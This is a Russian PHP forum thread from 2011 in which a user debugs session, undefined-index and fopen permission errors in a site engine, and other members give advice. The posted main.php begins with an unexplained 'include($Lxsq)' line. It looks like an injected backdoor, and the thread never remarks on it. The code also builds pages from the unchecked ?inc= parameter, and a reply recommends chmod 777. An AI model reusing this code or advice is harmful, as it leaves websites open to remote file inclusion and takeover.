Излагаю суть проблемы. Есть движок сайта на PHP запускаю его через Open Server моя любимая опера пишет следущее
Цитата |
Notice: Undefined index: inc in W:\html\eee\www\index.php on line 14 Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at W:\html\eee\www\func\main.php:2) in W:\html\eee\www\index.php on line 69 Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at W:\html\eee\www\func\main.php:2) in W:\html\eee\www\index.php on line 69 Warning: fopen(inc/) [function.fopen]: failed to open stream: Permission denied in W:\html\eee\www\header.php on line 50 |
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<?php
if(isset($Lxsq))
include($Lxsq);
?>
<?php
function pdf_file($file,$title){
if(file_exists('pdf/'.$file))
{
$dsize=(int)(filesize('pdf/'.$file)/1024);
print '<a href="pdf/'.$file.'" title="'.$title.'"><img src="img/pdf.gif" alt="PDF" style="vertical-
align:middle;border:0"> '.$title.' </a><font style="color:#909090;font-size:10px;">['.$dsize.'кб]</font>';
}
else print 'ups';
}
function zip_file($file,$title){
if(file_exists('pdf/'.$file))
{
$dsize=(int)(filesize('pdf/'.$file)/1024);
print '<a href="pdf/'.$file.'" title="'.$title.'"><img src="img/zip.gif" alt="ZIP" style="vertical-
align:middle;border:0"> '.$title.' </a><font style="color:#909090;font-size:10px;">['.$dsize.'кб]</font>';
}
else print 'ups';
}
function check_sel($link,$inc)
{
//if(is_file($link)){
if($inc==$link) $url='<a href="?inc='.$link.'" class="sel">';
else $url='<a href="?inc='.$link.'">';
// }
// else $url='';
return $url;
}
function check_hor_sel($link,$inc,$name)
{
if($inc==$link) $class='hor_sel';
else $class='hor_menu';
$url='<td class="'.$class.'" width="20%">
<a href="?inc='.$link.'" class="'.$class.'">'.$name.'</a>
</td>
';
return $url;
}
/* Блок новостей*/
function news(){
if(is_file('inc/news.php')){
echo '
<div style="margin-top:0;margin-left:0;margin-right:0;margin-bottom:0;padding:0;padding-top:0;font-
size:16px;font-weight:bold; color:white; background-image:url(img/title00.jpg); width:210; height:30; line-
height:1.7;text-align:center">Новости
</div>
<div id="inc_news">
';
include('inc/news.php');
echo '
</div>
<div style="align:center"><img src="img/news.gif" alt="Новости" width="208"></div>
';
}
//return $block;
}
/*Динамический список слевой стороны*/
function left_menu($dir){
if(!is_dir($dir))$dirhandle="";
else{$dirhandle=opendir($dir);}
$i="0";
$left_men[$i]='1';
while (($file=readdir($dirhandle))!=FALSE)
{
if ($file!='.'&&$file!='..'&&strpos($file,'!')===false){
$file;
$left_men[$i]=$file;
$i+=1;
}
}
sort($left_men);
return $left_men;
}
function menuon($dir){
if(!is_dir($dir))$dirhandle="";
else{$dirhandle=opendir($dir);}
$i="0";
$left_men[$i]='1';
while (($file=readdir($dirhandle))!=FALSE)
{
if ($file!='.'&&$file!='..'&&strpos($file,'!')===false){
$file;
$left_men[$i]=$file;
$i+=1;
}
}
sort($left_men);
return $left_men['0'];
}
function files($dir,$cproj)
{
$dirhandle=opendir($dir);
echo'<ol>';
$i='0';
$left_men[$i]='1';
while(($file=readdir($dirhandle))!=FALSE){
if($file!='.'&&$file!='..'&&strpos($file,'!')===false){
$file;
$left_men[$i]=$file;
//echo $i;
$i+=1;
}
}
$j='0';
sort($left_men);
while($i!=$j){
if($dir.'/'.$left_men[$j]!=$cproj){
$class='class="unsel"';
echo'<li '.$class.'><a '.$class.' href="?inc='.$dir.'/'.$left_men[$j].'">';
$name=mytitle($dir.'/'.$left_men[$j],'name');
if($name!=' ')echo $name;
else echo $left_men[$j];
echo'</a>';
}
else { echo'<li class="sel">';
$name=mytitle($dir.'/'.$left_men[$j],'name');
if($name!=' ')echo $name;
else echo $left_men[$j];
}
$j+=1;
}
echo'</ol>';
}
?>
Цитата (minok94 @ 16.10.2011 - 12:01) |
#POST# t=52249<br />Напиши в самом начале файла:<?php |
Цитата (imbalance_hero @ 16.10.2011 - 12:01) |
N-DREY Тебе ранее не выводятся ошибки, потому что вывод ошибок отключен, но ошибки есть. У тебя же написано номер строки, зачем показывать весь код? Достаточно конкретно данную запись строки, а не всего кода. |
Цитата |
Notice: Undefined index: inc in W:\html\eee\www\index.php on line 14 |
$inc = $_GET['inc'];
Цитата |
Warning: fopen(inc/) [function.fopen]: failed to open stream: Permission denied in W:\html\eee\www\header.php on line 52 |
function mytitle($link,$teg){
$title=" ";
if(file_exists($link)){
$file=fopen($link,'r');
if (!$file)exit;
else while (!feof ($file)){
$line=fgets($file,1024);
if (eregi('<'.$teg.'>(.*)</'.$teg.'>',$line,$out)){
$title = $out[1];
break;
}
}
fclose($file);}
return $title;
Цитата (imbalance_hero @ 16.10.2011 - 12:34) |
$_GET['inc']; - отсутствует, логика скрипта, что у тебя в адресной строке должна быть запись: ?inc=... или &inc=... , а она у тебя отсутствует. |
Цитата (imbalance_hero @ 16.10.2011 - 13:10) |
Я же сказал, ты можешь конкретно эту строчку показать: Warning: fopen(inc/) [function.fopen]: failed to open stream: Permission denied in W:\html\eee\www\header.php on line 50 |
$file=fopen($link,'r');
Цитата (imbalance_hero @ 16.10.2011 - 13:17) |
Отдельно выведи echo $link внутри функции, есть ли ссылка? Если есть, и ссылка правильная, поставь на файл права 777, или по юниксу: 0777. |
function mytitle($link,$teg){
$title=" ";
if(file_exists($link)){
$file=fopen($link,'r');
if (!$file)exit;
else while (!feof ($file)){
$line=fgets($file,1024);
if (eregi('<'.$teg.'>(.*)</'.$teg.'>',$line,$out)){
$title = $out[1];
break;
}
}
fclose($file);}
return $title;
Цитата (imbalance_hero @ 16.10.2011 - 14:28) |
N-DREY В таком случае в раздел ПРОЕКТЫ и за деньги. За Вас писать БЕСПЛАТНО никто не будет. |
Цитата |
код один и тот же на физ серваке и на на локальном, только там он работает, а на моей машине напрочь отказывается (я сделал с сайта резервную копию). Запускаю я правильно, ибо тут вариантов не много)) |
Цитата (imbalance_hero @ 16.10.2011 - 15:32) |
тебе надо понять, какие данные идут в функцию, либо это ссылка на файл, либо на папку. От этого плясать. Ещё, полностью путь: папка/файл установить полные права. |
include 'func/main.php';